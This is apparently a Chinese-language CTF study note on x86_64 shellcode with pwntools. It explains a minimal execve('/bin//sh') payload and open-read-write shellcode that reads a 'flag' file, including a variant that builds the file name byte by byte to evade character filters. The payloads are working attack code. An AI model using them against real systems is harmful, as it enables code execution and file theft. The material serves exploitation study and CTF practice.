basic_shellcode
[TOC]
注意架构
通常情况下,pwntools 会根据您的操作系统和系统架构来自动选择合适的默认架构。如果您在64位操作系统上运行 pwntools,它通常会默认使用 x86_64 架构 #无任何限制的shellcode 直接用asm(shellcraft.sh())生成shellcode 注意rdi存的值不是字符串/bin/sh,而是存放/bin/sh的地址
最短shellcode 执行execve函数
cdq指令把 EAX 的第 31 bit 复制到 EDX 的每一个 bit 上,主要用途是将rdx置为0
xor rsi, rsi
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rdi
mov al,59
cdq
syscall
注意这几步操作,先把/bin//sh字符存入rdi,然后push rdi,那么/bin//sh就进入栈中,rsp现在正指向sh的地址,再push rsp,就是把sh的地址放入栈中,pop rdi就是把sh的地址放入rdi中 不能简单的只mov rdi, 0x68732f2f6e69622f
orw的shellcode
长度为0x28字节,主要是通过异或实现了取代了mov减少长度要求
mov rdx, 0x200
push 0x67616c66 这就是flag的字符串
mov rdi,rsp
xor esi,esi #如果本来rsi=0,可以删掉这句
mov eax,2
syscall eax=2 open(‘flag’,0)
mov edi,3
mov rsi,rsp
xor eax,eax
syscall eax=0 read(3,buf,0x200)
xor edi,2
mov eax,edi
syscall eax=1 write(1,buf,0x200)
做题的时候发现edx不能太大,不然程序会崩掉,同时限制了字符可以这样orw
shellcode='''
mov byte ptr [rsp+0x0],0x66
mov byte ptr [rsp+0x1],0x6c
mov byte ptr [rsp+0x2],0x60
mov byte ptr [rsp+0x3],0x67
mov byte ptr [rsp+0x4],0
mov byte ptr [rsp+0x5],0
mov byte ptr [rsp+0x6],0
mov byte ptr [rsp+0x7],0
xor byte ptr [rsp+0x2],1
mov edx,0x200
push rsp
pop rdi
xor esi,esi
mov eax,2
syscall
mov edi,eax
push rsp
pop rsi
xor eax,eax
syscall
xor edi,2
mov eax,edi
syscall
'''